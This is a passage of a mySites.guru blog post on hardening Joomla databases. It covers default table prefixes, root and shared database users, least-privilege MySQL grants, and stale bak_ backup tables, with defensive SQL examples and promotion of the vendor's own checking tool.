&lt;p&gt;&lt;img alt=&quot;The mySites.guru pivot view showing the default database prefix check across all connected Joomla sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2542px) 2542px, 100vw&quot; width=&quot;2542&quot; height=&quot;1932&quot; src=&quot;https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_1orDcl.webp&quot; srcset=&quot;https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_1uJudD.webp 640w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_1USj8.webp 750w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_Z1hybmc.webp 828w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_1CLl0n.webp 1080w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_Z13xBFn.webp 1280w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_ZuuPOp.webp 1668w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_23adP1.webp 2048w, https://mysites.guru/_astro/database-prefix-pivot.BNWajQxi_1orDcl.webp 2542w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage 10, 50, or 500 sites, this is how you spot the outliers without logging into each server individually.&lt;/p&gt;
&lt;p&gt;This post walks through every database integrity check, explains why each one matters, and gives you the exact steps to fix each issue.&lt;/p&gt;
&lt;h2&gt;Why Does Joomla Database Security Get Overlooked?&lt;/h2&gt;
&lt;p&gt;Most Joomla administrators focus on the visible attack surface: keeping extensions updated, running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, scanning for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, and reviewing &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But the database sits behind the scenes. You don’t interact with it directly during normal site management. It was configured once during installation and never revisited. The installer picked a prefix, the hosting panel created a user with whatever privileges it felt like granting, and everyone moved on.&lt;/p&gt;
&lt;p&gt;The decisions made during a five-minute installation have permanent security implications, and almost no one goes back to review them.&lt;/p&gt;
&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, the odds of database misconfiguration go up fast. Different hosts have different defaults. Different eras of Joomla had different installation behaviours. Some hosts create database users with full administrative privileges because it’s easier than figuring out the minimum required set.&lt;/p&gt;
&lt;h2&gt;Why Is the Default Joomla Table Prefix a Problem?&lt;/h2&gt;
&lt;p&gt;Joomla versions before 1.7 used &lt;code&gt;jos_&lt;/code&gt; as the default database table prefix during installation. That means your users table would be &lt;code&gt;jos_users&lt;/code&gt;, your sessions table &lt;code&gt;jos_session&lt;/code&gt;, your extensions table &lt;code&gt;jos_extensions&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;Joomla has generated a random prefix during installation since version 1.7 (released in 2011). But if you’re managing older sites, sites that were migrated from earlier versions, or sites where someone typed &lt;code&gt;jos_&lt;/code&gt; manually during setup, that default prefix is still there.&lt;/p&gt;
&lt;p&gt;This matters because SQL injection attacks need to know your table names to extract data. If a site uses &lt;code&gt;jos_users&lt;/code&gt; as the users table, attackers don’t need to guess. They already know. Automated attack tools and scripts target &lt;code&gt;jos_users&lt;/code&gt;, &lt;code&gt;jos_session&lt;/code&gt;, and &lt;code&gt;jos_extensions&lt;/code&gt; by default. Changing your prefix to something custom, say &lt;code&gt;x7k9_&lt;/code&gt; or &lt;code&gt;mguru_&lt;/code&gt;, means those pre-built payloads hit tables that don’t exist and return nothing useful.&lt;/p&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covers this exact issue in his Maintenance Monday stream. It’s a clear walkthrough of why the default prefix is a problem and how to change it:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;div&gt;
  
  &lt;p&gt;The video above shows an older version of the mySites.guru interface. We&apos;ve since redesigned the dashboard, but the database checks work the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Changing the table prefix is not a substitute for fixing SQL injection vulnerabilities. A determined attacker who can inject SQL can usually enumerate your table names regardless of prefix. But it stops the vast majority of automated attacks, which are the ones most sites actually face. Defense in depth means stacking imperfect barriers, and each one filters out a portion of threats.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads your site’s &lt;code&gt;configuration.php&lt;/code&gt; and checks the &lt;code&gt;$dbprefix&lt;/code&gt; value. If it’s &lt;code&gt;jos_&lt;/code&gt;, the tool flags it as a warning. If you’ve set a custom prefix, it passes.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see your site’s current prefix. For Joomla sites, click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will generate a random prefix, rename every table in the database, and update &lt;code&gt;configuration.php&lt;/code&gt; automatically. No manual SQL needed. If you manage dozens of sites, use the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;pivot view&lt;/a&gt; to see which sites still have &lt;code&gt;jos_&lt;/code&gt; across your entire portfolio in one screen.&lt;/p&gt;
&lt;h3&gt;Option 2: Use Admin Tools&lt;/h3&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt; installed, it includes a database table prefix changer. It handles renaming all tables and updating the configuration automatically. This is a solid approach because it accounts for edge cases like tables created by third-party extensions that might not follow standard naming conventions.&lt;/p&gt;
&lt;h3&gt;Option 3: Manual change via phpMyAdmin&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Take a full database backup first. This is non-negotiable.&lt;/li&gt;
&lt;li&gt;Open phpMyAdmin (or your preferred database management tool).&lt;/li&gt;
&lt;li&gt;For each table starting with &lt;code&gt;jos_&lt;/code&gt;, run: &lt;code&gt;RENAME TABLE jos_tablename TO newprefix_tablename;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; on the server: change &lt;code&gt;public $dbprefix = &apos;jos_&apos;;&lt;/code&gt; to &lt;code&gt;public $dbprefix = &apos;newprefix_&apos;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Clear your Joomla cache and verify the site loads correctly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A few rules for choosing a good prefix to save you headaches with some webhosts and configurations - trust us!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use 3-5 random characters followed by an underscore (e.g., &lt;code&gt;a8x2_&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Stick to lowercase letters and numbers only, no special characters&lt;/li&gt;
&lt;li&gt;Start with a letter, not a number&lt;/li&gt;
&lt;li&gt;Don’t use your site name, domain, or anything guessable&lt;/li&gt;
&lt;li&gt;Don’t use &lt;code&gt;joomla_&lt;/code&gt;, &lt;code&gt;jml_&lt;/code&gt;, or any other obvious Joomla-related prefix&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;If you&apos;re installing a new Joomla site, the installer already generates a random prefix by default (since Joomla 1.7 in 2011). If you see jos_ on a site, it either predates that change or someone manually typed it in during setup.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The root database user problem in Joomla&lt;/h2&gt;
&lt;p&gt;If your Joomla site connects to the database as the &lt;code&gt;root&lt;/code&gt; MySQL user, you have a serious problem.&lt;/p&gt;
&lt;p&gt;The root user has unrestricted access to every database on the server, every single one. If a vulnerability in any Joomla extension allows an attacker to execute arbitrary SQL, they can read, modify, or delete data from every database on the server. They can create new database users. They can grant themselves permanent access. They can dump every table from every application sharing that MySQL instance.&lt;/p&gt;
&lt;p&gt;This is the database equivalent of running your web server as the system root user.&lt;/p&gt;
&lt;h3&gt;Why it happens&lt;/h3&gt;
&lt;p&gt;Shared hosting panels often create a single database user per hosting account and give it access to all databases under that account. On some budget hosts, the installation wizard pre-fills “root” as the database username because the hosting environment uses it.&lt;/p&gt;
&lt;p&gt;Self-managed servers tend to be worse. Developers setting up a quick test environment use root because it works and they’ll “fix it later.” They never fix it later. The test environment becomes production, and root stays in &lt;code&gt;configuration.php&lt;/code&gt; for years.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads the &lt;code&gt;$user&lt;/code&gt; value from your site’s &lt;code&gt;configuration.php&lt;/code&gt;. If the database username is &lt;code&gt;root&lt;/code&gt;, the tool flags it as a critical warning.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see the exact database username. For Joomla sites, the investigation page includes a credentials form where you can enter new database credentials, test them against the server, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. No SSH or FTP required. Use the pivot view to instantly see which sites across your portfolio are still running as root, so you can prioritise the worst offenders.&lt;/p&gt;
&lt;h3&gt;Option 2: Fix manually&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into your hosting control panel or MySQL directly.&lt;/li&gt;
&lt;li&gt;Create a new database user with a strong, unique password.&lt;/li&gt;
&lt;li&gt;Grant that user access only to the Joomla database, nothing else.&lt;/li&gt;
&lt;li&gt;Assign only the required privileges (covered in the next section).&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; with the new username and password.&lt;/li&gt;
&lt;li&gt;Verify the site works correctly.&lt;/li&gt;
&lt;li&gt;If no other applications use root, change the root password and restrict root to localhost-only access.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have direct MySQL access, here’s the command to create a properly scoped user. On shared hosting, your control panel (cPanel, Plesk, DirectAdmin, etc.) will handle this through its GUI instead - typically in three separate steps: create the user, assign privileges to the user, then add the user to the database.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt; USER&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;joomla_user&lt;/span&gt;&lt;span&gt;&apos;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; IDENTIFIED &lt;/span&gt;&lt;span&gt;BY&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;strong_random_password_here&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;GRANT&lt;/span&gt;&lt;span&gt; SELECT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INSERT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INDEX&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ON&lt;/span&gt;&lt;span&gt; joomla_database.&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; TO&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;joomla_user&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FLUSH PRIVILEGES;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;joomla_user&lt;/code&gt;, &lt;code&gt;strong_random_password_here&lt;/code&gt;, and &lt;code&gt;joomla_database&lt;/code&gt; with your actual values. The &lt;code&gt;@&apos;localhost&apos;&lt;/code&gt; restriction ensures this user can only connect from the local machine, not remotely.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If your Joomla site is on shared hosting, check with your host about database user permissions. Some hosts don&apos;t give you direct MySQL access to create users, so you&apos;ll need to use their control panel instead. The principle is the same: one user per database, minimum required privileges.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Should Each Site Have Its Own Database User?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated (non-root) database user, there’s a subtler problem: that user might have access to multiple databases on the same server.&lt;/p&gt;
&lt;p&gt;This happens more often than you’d expect. Hosting panels frequently create a single database user and grant it access to every database under your account. If you run three Joomla sites on the same server, all three might share the same database user. If one site gets compromised through an extension vulnerability, the attacker can read and modify the databases of the other two sites as well.&lt;/p&gt;
&lt;p&gt;Tim Davis has a memorable take on this in his Maintenance Monday stream: &lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt;. He walks through how to check if your database user can access multiple databases and how to create separate users for each site. If a hack occurs on one site whose database user can see other databases, the attacker can view those databases too, change admin passwords directly, and compromise every site on that server. We have seen over 100 databases on a single server all hacked from one compromised site. Total compromise, from a single weak point.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector connects to your MySQL server using your site’s database credentials and runs &lt;code&gt;SHOW DATABASES&lt;/code&gt;, filtering out system databases (&lt;code&gt;information_schema&lt;/code&gt;, &lt;code&gt;performance_schema&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;). If the user can see more than one database, the check fails. This is the same test an attacker would use after gaining SQL access through a vulnerability.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see exactly how many databases the user can access. For Joomla sites, the investigation page includes the same credentials form as the root user check: enter a new dedicated username and password, test them, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. Use the pivot view to see which sites across your portfolio have this problem.&lt;/p&gt;
&lt;h3&gt;Option 2: Fix manually&lt;/h3&gt;
&lt;p&gt;Create a separate database user for each Joomla site on your server. Using the MySQL command from the root user section above, the key is the &lt;code&gt;ON joomla_database.*&lt;/code&gt; part: that restricts the user to a single database. Repeat for each site with a different username, password, and database name.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;-- Site A&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt; USER&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;site_a_user&lt;/span&gt;&lt;span&gt;&apos;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; IDENTIFIED &lt;/span&gt;&lt;span&gt;BY&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;password_a&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;GRANT&lt;/span&gt;&lt;span&gt; SELECT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INSERT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INDEX&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ON&lt;/span&gt;&lt;span&gt; site_a_db.&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; TO&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;site_a_user&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-- Site B&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt; USER&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;site_b_user&lt;/span&gt;&lt;span&gt;&apos;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; IDENTIFIED &lt;/span&gt;&lt;span&gt;BY&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;password_b&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;GRANT&lt;/span&gt;&lt;span&gt; SELECT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INSERT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;UPDATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;CREATE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;DROP&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ALTER&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;INDEX&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ON&lt;/span&gt;&lt;span&gt; site_b_db.&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; TO&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;site_b_user&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FLUSH PRIVILEGES;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then update each site’s &lt;code&gt;configuration.php&lt;/code&gt; to use its dedicated user.&lt;/p&gt;
&lt;h2&gt;What Database Privileges Does Joomla Actually Need?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated user that only accesses one database, that user might have far more privileges than Joomla needs. This isn’t one of the six automated snapshot checks, but it’s a critical part of database security that you should review manually alongside the snapshot results.&lt;/p&gt;
&lt;p&gt;Joomla needs these MySQL privileges to function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SELECT&lt;/strong&gt; - read data from tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INSERT&lt;/strong&gt; - add new rows (content, users, sessions, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - modify existing rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt; - remove rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREATE&lt;/strong&gt; - create new tables (needed during extension installation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP&lt;/strong&gt; - remove tables (needed during extension uninstallation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ALTER&lt;/strong&gt; - modify table structure (needed during updates)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INDEX&lt;/strong&gt; - create and drop indexes (needed during updates)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some extensions also require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CREATE TEMPORARY TABLES&lt;/strong&gt; - for complex queries that use temp tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOCK TABLES&lt;/strong&gt; - for backup extensions that need consistent snapshots&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ten privileges at most. Yet many hosting panels grant database users privileges they should never have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FILE&lt;/strong&gt; - read and write files on the server filesystem through SQL. An attacker with this privilege can read &lt;code&gt;/etc/passwd&lt;/code&gt;, write a PHP backdoor to the webroot, or exfiltrate your &lt;code&gt;configuration.php&lt;/code&gt;, all through SQL queries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PROCESS&lt;/strong&gt; - view all running queries from all users, including those containing passwords or sensitive data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SUPER&lt;/strong&gt; - bypass privilege restrictions, kill other users’ queries, change global server settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GRANT OPTION&lt;/strong&gt; - grant any privilege the user has to other users. An attacker can create new users with full access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHUTDOWN&lt;/strong&gt; - shut down the MySQL server entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a SQL injection vulnerability is discovered in any Joomla extension on your site, the damage an attacker can do is directly proportional to the privileges your database user holds. With just the required set, they can read and modify data in your Joomla database. Bad, but recoverable. With FILE privilege, they can drop a backdoor on your filesystem. With SUPER, they can take over the database server. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability (CVE-2026-21627)&lt;/a&gt; is a real-world example of exactly this: an unauthenticated SQL injection in a bundled Joomla component that gives attackers direct database access.&lt;/p&gt;
&lt;h3&gt;How to check and fix&lt;/h3&gt;
&lt;p&gt;To see what privileges your user currently has:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SHOW GRANTS &lt;/span&gt;&lt;span&gt;FOR&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;joomla_user&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output includes dangerous privileges, revoke them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;REVOKE&lt;/span&gt;&lt;span&gt; FILE&lt;/span&gt;&lt;span&gt;, PROCESS, SUPER, &lt;/span&gt;&lt;span&gt;GRANT&lt;/span&gt;&lt;span&gt; OPTION&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;SHUTDOWN&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ON&lt;/span&gt;&lt;span&gt; *&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; FROM&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;joomla_user&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;localhost&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FLUSH PRIVILEGES;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output shows &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt;, your user has everything, including the dangerous ones. The cleanest fix is to create a new user with only the required privileges (using the command from the root user section) and update &lt;code&gt;configuration.php&lt;/code&gt; to use it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;On shared hosting, you may not be able to run REVOKE directly. Most hosting control panels (cPanel, Plesk, DirectAdmin) have a database user privilege editor in their interface. Look for your database section, find the user, and uncheck everything except SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, CREATE TEMPORARY TABLES, and LOCK TABLES.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;The ALL PRIVILEGES trap&lt;/h3&gt;
&lt;p&gt;Many guides and StackOverflow answers casually recommend &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt; when setting up a database user. It’s the easy path where everything works and you never get a “permission denied” error. But &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; includes FILE, PROCESS, SUPER, and everything else. It’s the second-worst option after using root directly.&lt;/p&gt;
&lt;p&gt;If you see &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; in your grants output, treat it the same as any other over-privileged configuration: create a new user with explicit minimum privileges and switch to it.&lt;/p&gt;
&lt;h2&gt;Why Should You Remove Backup Tables from Your Joomla Database?&lt;/h2&gt;
&lt;p&gt;When you run the Joomla installer into a database that already contains tables (from a previous installation, for example), the installer offers to back up the existing tables by renaming them with a &lt;code&gt;bak_&lt;/code&gt; prefix. So &lt;code&gt;jos_users&lt;/code&gt; becomes &lt;code&gt;bak_jos_users&lt;/code&gt;, &lt;code&gt;jos_content&lt;/code&gt; becomes &lt;code&gt;bak_jos_content&lt;/code&gt;, and so on. Open phpMyAdmin on a long-running Joomla site and you might see dozens of these &lt;code&gt;bak_&lt;/code&gt; tables sitting alongside the live ones.&lt;/p&gt;
&lt;p&gt;The problem is that no one cleans them up afterward. The installer creates them, the site works fine, and the backup tables sit there indefinitely.&lt;/p&gt;
&lt;p&gt;Tim Davis covers the cleanup process in detail: &lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt;. He walks through both automated and manual approaches to finding and removing these tables safely.&lt;/p&gt;
&lt;h3&gt;Why backup tables are a security risk&lt;/h3&gt;
&lt;p&gt;Backup tables contain historical copies of your data. Your &lt;code&gt;jos_users&lt;/code&gt; table has your current user records with current (hopefully hashed) passwords. A backup table from two years ago has the user records from two years ago, potentially with weaker password hashes if you’ve upgraded your hashing algorithm since then. It might also contain accounts for users who have since been deleted.&lt;/p&gt;
&lt;p&gt;If an attacker gains read access to your database through SQL injection, backup tables give them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Historical user data&lt;/strong&gt; - email addresses, usernames, and password hashes from previous periods&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Old configuration data&lt;/strong&gt; - API keys, SMTP credentials, or other sensitive settings stored in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migration artifacts&lt;/strong&gt; - data from a previous CMS or an earlier Joomla version that might contain information you thought was deleted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond the security angle, backup tables consume disk space. On sites with large content tables or extensive user bases, backup tables can double or triple your database size. This slows down database operations, increases backup time, and on some hosts pushes you into a higher billing tier.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector runs &lt;code&gt;SHOW TABLES&lt;/code&gt; on your database and looks for any table with a name starting with &lt;code&gt;bak_&lt;/code&gt;. This is the prefix Joomla’s installer creates when you install over an existing database and choose to back up the old tables. If any &lt;code&gt;bak_&lt;/code&gt; tables exist, the check fails.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;h3&gt;Option 1: Use mySites.guru (recommended)&lt;/h3&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the full list of &lt;code&gt;bak_&lt;/code&gt; tables on that site. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will drop all the backup tables remotely. No need to open phpMyAdmin or run SQL manually. Use the pivot view to see which sites across your portfolio have leftover backup tables.&lt;/p&gt;
&lt;h3&gt;Option 2: Fix manually&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open phpMyAdmin or your preferred database tool.&lt;/li&gt;
&lt;li&gt;Confirm the tables flagged are actually backups and not tables created by a legitimate extension. Check the table structure: if it mirrors an existing core or extension table, it’s almost certainly a backup.&lt;/li&gt;
&lt;li&gt;Take a fresh database backup before deleting anything (yes, the irony is noted).&lt;/li&gt;
&lt;li&gt;Drop the backup tables:&lt;/li&gt;
